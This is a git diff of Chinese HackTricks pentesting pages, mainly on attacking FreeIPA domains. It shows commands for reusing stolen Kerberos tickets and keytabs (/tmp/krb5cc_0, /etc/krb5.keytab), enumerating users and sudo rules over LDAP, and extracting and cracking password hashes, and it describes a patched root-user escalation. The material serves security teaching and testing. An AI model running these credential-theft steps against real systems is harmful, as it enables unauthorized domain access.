<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
此信息取自以下帖子:
|
||||
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be)
|
||||
|
||||
## 基本信息
|
||||
|
||||
它是 Microsoft Windows **Active Directory** 的一个开源**替代品**,主要用作**Unix**环境的集成管理解决方案。与 Active Directory 类似,FreeIPA 实现了完整的 **LDAP 目录**基础设施,由 MIT **Kerberos** 密钥分发中心支持。它使用 Dogtag **证书系统**进行 CA 和 RA 证书管理,使其能够处理**多因素**认证,包括智能卡。SSSD 用于将 FreeIPA 集成到标准 Unix 认证过程中。
|
||||
FreeIPA 被提供为 Microsoft Windows **Active** **Directory** 的开源**替代方案**,主要用于**Unix**环境的集成管理。它具有完整的由 MIT **Kerberos** 密钥分发中心支持的 **LDAP 目录**,类似于 Active Directory。Dogtag **证书系统**用于管理 CA 和 RA 证书,支持包括智能卡在内的**多因素**身份验证功能。为了集成到 Unix 认证流程中,使用了 SSSD。
|
||||
|
||||
## 指纹
|
||||
|
||||
### 文件 & 环境变量
|
||||
### 文件和环境变量
|
||||
|
||||
* **`/etc/krb5.conf`:** `krb5.conf` 文件包含 Kerberos 客户端信息,这些信息是**加入域**所必需的。这包括 Kerberos 领域的 KDC 和管理员服务器的**位置**,当前领域和 Kerberos 应用程序的默认设置,以及主机名到 Kerberos 领域的映射。
|
||||
* **`/etc/ipa/default.conf`:** 这是 IPA 服务器的**默认配置文件**,用于设置在运行 IPA 客户端和服务器时应用的系统范围的默认值。
|
||||
* **`/etc/krb5.keytab`:** `krb5.keytab` 文件在**域**内的所有主机上都是**必需的**。它是 KDC **认证**过程的一部分。
|
||||
* **`KRB5CCNAME`:** 如果设置,此变量指向用于认证的 **CCACHE 票据**的**位置**。
|
||||
* **`KRB5_KTNAME`:** 如果设置,此变量指向用于认证的**密钥表**文件的**位置**。
|
||||
* **`KRB5_CONFIG`:** 如果设置,此变量指向 Kerberos 配置文件的**位置**。
|
||||
* **`KRB5_KDC_PROFILE`:** 如果设置,此变量指向 KDC 配置文件的**位置**,其中包含针对密钥分发中心守护进程的额外配置指令。
|
||||
* **`KRB5RCACHETYPE`:** 此变量指定服务器使用的**默认重放缓存类型**。
|
||||
* **`KRB5RCACHEDIR`:** 此变量指定服务器使用的**默认重放缓存目录**。
|
||||
* **`KRB5_TRACE`:** 此变量指定一个**文件名以写入跟踪日志输出**。跟踪日志可以帮助阐明 Kerberos 库内部做出的决策。
|
||||
* **`KRB5_CLIENT_KTNAME`:** 此变量设置**默认客户端密钥表**文件名。
|
||||
* **`KPROP_PORT`:** 此变量设置 kprop 使用的**默认端口**。
|
||||
- 位于 `/etc/krb5.conf` 的文件存储着 Kerberos 客户端信息,用于域注册所需。其中包括 KDC 和管理员服务器的位置、默认设置和映射。
|
||||
- 位于 `/etc/ipa/default.conf` 的文件设置了 IPA 客户端和服务器的系统范围默认值。
|
||||
- 域内的主机必须在 `/etc/krb5.keytab` 处拥有一个 `krb5.keytab` 文件,用于认证流程。
|
||||
- 使用各种环境变量(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`)指向特定文件和与 Kerberos 认证相关的设置。
|
||||
|
||||
### 二进制文件
|
||||
|
||||
* **ipa:** 此二进制文件是**管理 FreeIPA 域**的标准。它可以用来管理主机、用户、sudo 规则等等。
|
||||
* **kdestroy:** kdestroy 二进制文件用于**销毁**用户会话中的任何当前**Kerberos 票据**。
|
||||
* **kinit:** kinit 二进制文件用于**建立**或**更新** **Kerberos 票据**。
|
||||
* **klist:** klist 二进制文件**列出**当前使用中的任何**Kerberos 票据**,以及这些票据提供访问权限的主体。
|
||||
* **kpasswd:** kpasswd 命令用于**更改 Kerberos 主体的密码**。kpasswd 首先提示输入当前的 Kerberos 密码,然后提示用户两次输入新密码,并更改密码。
|
||||
* **ksu:** Ksu 可以用作**su 二进制文件的替代品**,以切换当前的**用户上下文**。
|
||||
* **kswitch:** kswitch 命令将**切换**当前使用中的**凭证缓存**。
|
||||
* **kvno:** kvno 二进制文件获取**指定 Kerberos** 主体的**服务票据**并打印出每个的密钥版本号。
|
||||
诸如 `ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch` 和 `kvno` 等工具对于管理 FreeIPA 域、处理 Kerberos 票证、更改密码和获取服务票证等功能至关重要。
|
||||
|
||||
### 网络
|
||||
|
||||
这是一个 FreeIPA 服务器可能的样子:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
提供了一个示例来描述典型的 FreeIPA 服务器设置。
|
||||
|
||||
## 认证
|
||||
|
||||
由于 FreeIPA 使用 **Kerberos 进行认证**,这个过程与 **Active Directory** 中的**认证**非常相似。为了**访问**域上的资源,用户必须有该资源的**有效 Kerberos 票据**。这些票据可以根据 FreeIPA 域的配置存储在不同的位置。
|
||||
FreeIPA 中的认证利用 **Kerberos**,与 **Active Directory** 中的认证类似。访问域资源需要有效的 Kerberos 票证,根据 FreeIPA 域配置的不同,可以将其存储在不同位置。
|
||||
|
||||
### **CCACHE 票据文件**
|
||||
### **CCACHE 票证文件**
|
||||
|
||||
当票据设置为在**磁盘**上以**文件**形式**存储**时,标准格式和类型是 **CCACHE** 文件。这是一种简单的二进制文件格式,用于存储 Kerberos 凭证。这些文件通常存储在 **`/tmp`** 中,并具有 **600** 权限。从攻击者的角度来看,这很重要,原因如下:
|
||||
CCACHE 文件通常存储在 **`/tmp`** 中,权限为 **600**,是用于存储 Kerberos 凭据的二进制格式文件,由于其可移植性,对于无需用户明文密码进行认证很重要。使用 `klist` 命令可以解析 CCACHE 票证,重用有效的 CCACHE 票证需要将 `KRB5CCNAME` 导出到票证文件的路径。
|
||||
|
||||
1. 有效票据可以被**利用进行认证**,**无需**相应用户的明文**密码**。
|
||||
2. **CCACHE** 票据非常**便携**。它们可以下载并加载到另一台主机上,无需更新或验证票据。
|
||||
### **Unix 密钥环**
|
||||
|
||||
**解析** CCACHE 票据可以通过多种不同的方式轻松完成。最简单的方法是使用 klist 二进制文件进行解析。
|
||||
```
|
||||
klist /tmp/krb5cc_0
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
|
||||
另外,CCACHE 票证可以存储在 Linux 密钥环中,提供对票证管理的更多控制。票证存储的范围不同(`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`),`klist` 能够解析用户的此信息。然而,从 Unix 密钥环中重用 CCACHE 票证可能会带来挑战,可使用类似 **Tickey** 的工具来提取 Kerberos 票证。
|
||||
|
||||
对于攻击者来说,重用CCACHE Ticket非常容易。要**重用**有效的CCACHE Ticket,**导出** **KRB5CCNAME** 到有效票证文件的**路径**。系统应识别环境变量,并在与域交互时尝试使用该凭据材料。
|
||||
```bash
|
||||
export KRB5CCNAME=/tmp/krb5cc_0
|
||||
klist
|
||||
```
|
||||
### **Unix Keyring**
|
||||
### Keytab
|
||||
|
||||
CCACHE Tickets **可以** **存储** 在 **Linux keyring** 中。keyring 存在于 **内核** 中,并为管理员提供了 **更多控制存储票据检索和使用的权限**。票据可以按以下不同方式限定范围:
|
||||
Keytab 文件包含 Kerberos 主体和加密密钥,对于获取有效的票证授予票证(TGT)而无需主体密码至关重要。使用像 `klist` 这样的实用程序和类似 **KeytabParser** 的脚本可以轻松地解析和重用来自 keytab 文件的凭据。
|
||||
|
||||
* **`KEYRING:name`:** 票据限定在特定命名的 Keyring 中。
|
||||
* **`KEYRING:process:name`:** 票据限定在特定进程 id 中。
|
||||
* **`KEYRING:thread:name`:** 票据限定在特定线程中。
|
||||
* **`KEYRING:session:name`:** 票据限定在特定用户会话中。
|
||||
* **`KEYRING:persistent:uidnumber`:** 票据限定在特定用户中,不考虑会话(默认)。
|
||||
|
||||
根据管理员如何限定 Unix keyring 内存储的票据,解析它可能会很困难。然而,Unix keyring 中 CCACHE Tickets 的 **默认** **范围** 是 **`KEYRING:persistent:uidnumber`**。幸运的是,如果你处于 **用户** 的 **上下文** 中,`klist` 可以为我们 **解析** 这些信息。
|
||||
|
||||
作为攻击者,**重用存储在 Unix keyring 中的 CCACHE** 票据取决于票据的限定范围,可能会相当 **困难**。幸运的是,[@Zer1t0](https://github.com/Zer1t0) 从 [@Tarlogic](https://twitter.com/Tarlogic) 开发了一个工具,可以从 Unix keyring 提取 Kerberos 票据。这个工具叫做 **Tickey**,可以在[**这里**](https://github.com/TarlogicSecurity/tickey)找到。
|
||||
|
||||
### Keytab <a href="#ff38" id="ff38"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
通常,每个主机都部署有一个 keytab 凭证,该凭证可用于获取有效的 Credential Cache(CCACHE) Ticket Granting Ticket(TGT) 以供主机本身使用。
|
||||
{% endhint %}
|
||||
|
||||
它由 **Kerberos 主体和加密密钥** 对组成,这些密钥是从与主体关联的 Kerberos 密码派生的。由于这些密钥是从主体的密码派生的,如果该 **密码更改,keytab 将失效**。
|
||||
|
||||
Keytab 文件可以用来 **获取有效的票据授予票** (TGT),适用于它限定的主体。这个认证过程 **不需要密码**,因为它包含了从密码派生的密钥。
|
||||
|
||||
解析 Keytab 文件非常容易,可以通过几种方式完成。解析 **keytab** 文件最简单的方法是使用 **klist**。第二种方法利用了 [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) 创建的一个出色的 python 工具。他的 **[KeytabParser](https://github.com/its-a-feature/KeytabParser)** 项目将解析出主体及其相关的加密密钥。
|
||||
|
||||
攻击者可以通过生成 kinit 二进制文件的 CCACHE 票据,**重用存储在 keytab 文件中的凭证**。
|
||||
```powershell
|
||||
# Parse keytab
|
||||
klist -k /rtc/krb5.keytab
|
||||
|
||||
# Get TGT
|
||||
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
||||
```
|
||||
### 速查表
|
||||
|
||||
您可以在以下链接中找到有关如何在linux中使用票据的更多信息:
|
||||
您可以在以下链接中找到有关如何在 Linux 中使用票证的更多信息:
|
||||
|
||||
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
|
||||
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
|
||||
|
@ -125,18 +62,18 @@ kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
|||
## 枚举
|
||||
|
||||
{% hint style="warning" %}
|
||||
您可以通过 **ldap** 和其他 **二进制** 工具执行**枚举**,或者**连接到 FreeIPA 服务器443端口的网页**。
|
||||
您可以通过 **ldap** 和其他 **二进制** 工具执行**枚举**,或**连接到 FreeIPA 服务器的端口 443 上的网页**进行**枚举**。
|
||||
{% endhint %}
|
||||
|
||||
### 主机、用户和组 <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
可以创建**主机**、**用户**和**组**。主机和用户被分配到称为“**主机组**”和“**用户组**”的容器中。这些类似于**组织单位**(OU)。
|
||||
可以创建**主机**、**用户**和**组**。主机和用户被分类到分别称为“**主机组**”和“**用户组**”的容器中。这类似于**组织单位**(OU)。
|
||||
|
||||
在 FreeIPA 中,默认情况下,LDAP 服务器允许**匿名绑定**,并且大量数据可以**未经认证**地枚举。这可以枚举所有可未经认证访问的数据:
|
||||
在 FreeIPA 中,默认情况下,LDAP 服务器允许**匿名绑定**,并且大量数据可以**无需身份验证**进行枚举。这可以枚举所有可用的未经身份验证的数据:
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
要获取**更多信息**,您需要使用一个**认证**后的会话(查看认证部分以了解如何准备一个认证会话)。
|
||||
要获取更多信息,您需要使用一个经过身份验证的会话(请查看身份验证部分以了解如何准备经过身份验证的会话)。
|
||||
```bash
|
||||
# Get all users of domain
|
||||
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
|
||||
|
@ -150,7 +87,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
|
|||
# Get hosts groups
|
||||
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
|
||||
```
|
||||
从加入域的机器上,您将能够使用**已安装的二进制文件**来枚举域:
|
||||
从加入域的计算机,您将能够使用**已安装的二进制文件**来枚举域:
|
||||
```bash
|
||||
ipa user-find
|
||||
ipa usergroup-find
|
||||
|
@ -168,24 +105,24 @@ ipa hostgroup-show <host group> --all
|
|||
**FreeIPA** 的 **admin** 用户相当于 **AD** 中的 **domain admins**。
|
||||
{% endhint %}
|
||||
|
||||
### 哈希 <a href="#482b" id="482b"></a>
|
||||
### Hashes <a href="#482b" id="482b"></a>
|
||||
|
||||
**IPA 服务器**的 **root** 用户可以访问密码的**哈希**。
|
||||
**IPA 服务器** 的 **root** 用户可以访问密码 **hashes**。
|
||||
|
||||
* 用户的密码哈希以 **base64** 存储在“**userPassword**”**属性**中。这个哈希可能是 **SSHA512**(FreeIPA的旧版本)或 **PBKDF2_SHA256**。
|
||||
* 如果系统与 **AD** 有**集成**,密码的 **Nthash** 以 **base64** 存储在“**ipaNTHash**”中。
|
||||
* 用户的密码哈希以 **base64** 形式存储在 “**userPassword**” **attribute** 中。该哈希可能是 **SSHA512**(旧版本的 FreeIPA)或 **PBKDF2\_SHA256**。
|
||||
* 如果系统与 **AD** 集成,密码的 **Nthash** 以 **base64** 形式存储在 “**ipaNTHash**” 中。
|
||||
|
||||
要破解这些哈希:
|
||||
|
||||
• 如果 freeIPA 与 AD 集成,**ipaNTHash** 很容易破解:你应该**解码** **base64** -> 重新编码为 **ASCII** 十六进制 -> John The Ripper 或 **hashcat** 可以帮助你快速破解
|
||||
• 如果 FreeIPA 与 AD 集成,**ipaNTHash** 容易破解:您应该 **decode** **base64** -> 重新编码为 **ASCII** 十六进制 -> John The Ripper 或 **hashcat** 可帮助您快速破解
|
||||
|
||||
• 如果使用的是 FreeIPA 的旧版本,因此使用 **SSHA512**:你应该解码 **base64** -> 找到 SSHA512 **哈希** -> John The Ripper 或 **hashcat** 可以帮助你破解
|
||||
• 如果使用旧版本的 FreeIPA,那么使用 **SSHA512**:您应该解码 **base64** -> 找到 SSHA512 **hash** -> John The Ripper 或 **hashcat** 可帮助您破解
|
||||
|
||||
• 如果使用的是 FreeIPA 的新版本,因此使用 **PBKDF2_SHA256**:你应该解码 **base64** -> 找到 PBKDF2_SHA256 -> 它的**长度**是 256 字节。John 可以处理 256 位(32 字节)-> SHA-256 用作伪随机函数,块大小是 32 字节 -> 你只能使用我们的 PBKDF2_SHA256 哈希的前 256 位 -> John The Ripper 或 hashcat 可以帮助你破解
|
||||
• 如果使用新版本的 FreeIPA,那么使用 **PBKDF2\_SHA256**:您应该解码 **base64** -> 找到 PBKDF2\_SHA256 -> 其长度为 256 字节。John 可以处理 256 位(32 字节)-> SHA-265 用作伪随机函数,块大小为 32 字节 -> 您只能使用 PBKDF2\_SHA256 哈希的前 256 位 -> John The Ripper 或 hashcat 可帮助您破解
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
要提取哈希,你需要成为 **FreeIPA 服务器**中的 **root**,在那里你可以使用工具 **`dbscan`** 来提取它们:
|
||||
要提取哈希,您需要是 **FreeIPA 服务器** 中的 **root** 用户,在那里您可以使用工具 **`dbscan`** 来提取它们:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -200,9 +137,9 @@ ipa hbacrule-find
|
|||
# Show info of rule
|
||||
ipa hbacrule-show <hbacrule> --all
|
||||
```
|
||||
#### Sudo 规则
|
||||
#### Sudo规则
|
||||
|
||||
FreeIPA 提供了从一个**集中**源**管理 sudo 权限**的能力,通过 sudo 规则。这些规则集可以用来限制或委派在域中注册的主机上**作为 sudo 执行命令**的能力。作为攻击者,我们可以枚举这些规则集适用于哪些主机和用户,以及哪些命令通过规则集被允许。
|
||||
FreeIPA通过sudo规则实现对**sudo权限**的集中控制。这些规则允许或限制在域内的主机上使用sudo执行命令。攻击者可能通过检查这些规则集来识别适用的主机、用户和允许的命令。
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
|
@ -213,21 +150,15 @@ ipa sudorule-show <sudorule> --all
|
|||
```
|
||||
### 基于角色的访问控制
|
||||
|
||||
每个**角色**包含一组**权限**,这些相应的权限包含一组**权限**。角色可以**应用于用户**、用户**组**、**主机**、主机组和服务。为了说明这个概念,让我们讨论 FreeIPA 中默认的“用户管理员”角色。
|
||||
一个**角色**由各种**特权**组成,每个特权包含一组**权限**。这些角色可以分配给用户、用户**组**、**主机**、主机组和服务。例如,考虑默认的FreeIPA中的“用户管理员”角色来说明这种结构。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
|
||||
`用户管理员`角色具有以下特权:
|
||||
|
||||
如上图所示,“用户管理员”角色包含以下权限:
|
||||
- **用户管理员**
|
||||
- **组管理员**
|
||||
- **阶段用户管理员**
|
||||
|
||||
* **用户管理员**
|
||||
* **组管理员**
|
||||
* **阶段用户管理员**
|
||||
|
||||
我们可以进一步深入并列举每个**权限**所委托的**权限**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如我们所见,“**用户管理员**”角色在环境内包含相当**多的权限**。理解**角色**、**权限**和**权限**的一般概念和结构对于识别环境中的攻击路径至关重要。
|
||||
通过以下命令可以枚举角色、特权和权限:
|
||||
```bash
|
||||
# Using ldap
|
||||
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
|
||||
|
@ -241,53 +172,41 @@ ipa permission-show <permission> --all
|
|||
```
|
||||
### 攻击场景示例
|
||||
|
||||
在 [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) 中,你可以找到一个简单的例子,说明如何滥用某些权限来危害域。
|
||||
在[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e)中,您可以找到一个简单的示例,说明如何滥用某些权限来 compromise 该域。
|
||||
|
||||
### Linikatz/LinikatzV2
|
||||
|
||||
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
|
||||
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
|
||||
|
||||
## 权限提升
|
||||
## 提权
|
||||
|
||||
### ~~创建 root 用户~~
|
||||
### ~~root 用户创建~~
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果你能**创建一个名为 `root` 的新用户**,你可以冒充他,并且你将能够**作为 root SSH 进入任何机器。**
|
||||
如果您可以**创建一个名为 `root` 的新用户**,您可以冒充他,从而能够**以 root 身份 SSH 进入任何机器**。
|
||||
|
||||
**这个问题已经被修复。**
|
||||
**此问题已修复。**
|
||||
{% endhint %}
|
||||
|
||||
"**用户管理员**"权限非常强大(正如其名称所示):
|
||||
您可以在[https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)中找到详细的解释。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
拥有这个权限可以对环境内的用户产生很多不同的影响。利用这个权限,我们可以在 FreeIPA 域内**创建一个名为 \_root**\_ 的新用户。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
一旦在域中创建了用户,我们可以为该账户**获取一个票据,使用 \_kinit**\_。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
现在我们可以尝试使用我们新创建的 root 域账户进行 **SSH**。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如图所示,这会**将用户带入本地 root 账户**!因此,仅仅通过为本地用户创建一个域用户,我们就能使用 _root@WESTEROS.LOCAL_ 账户进行认证,并获得**本地 root 账户的用户上下文**_._
|
||||
|
||||
_有关此漏洞的更多详情,请查看_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
|
||||
# 参考资料
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,34 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 全局变量
|
||||
|
||||
全局变量**将被**子进程继承。
|
||||
全局变量**将会**被**子进程**继承。
|
||||
|
||||
你可以通过以下方式为当前会话创建一个全局变量:
|
||||
您可以通过以下方式为当前会话创建一个全局变量:
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
这个变量将可以被当前会话及其子进程访问。
|
||||
|
||||
您可以通过以下方式**删除**一个变量:
|
||||
您可以通过以下方式**移除**一个变量:
|
||||
```bash
|
||||
unset MYGLOBAL
|
||||
```
|
||||
## 本地变量
|
||||
|
||||
**本地变量**只能被**当前的shell脚本**访问。
|
||||
**本地变量** 只能被 **当前的 shell/script** 访问。
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
|
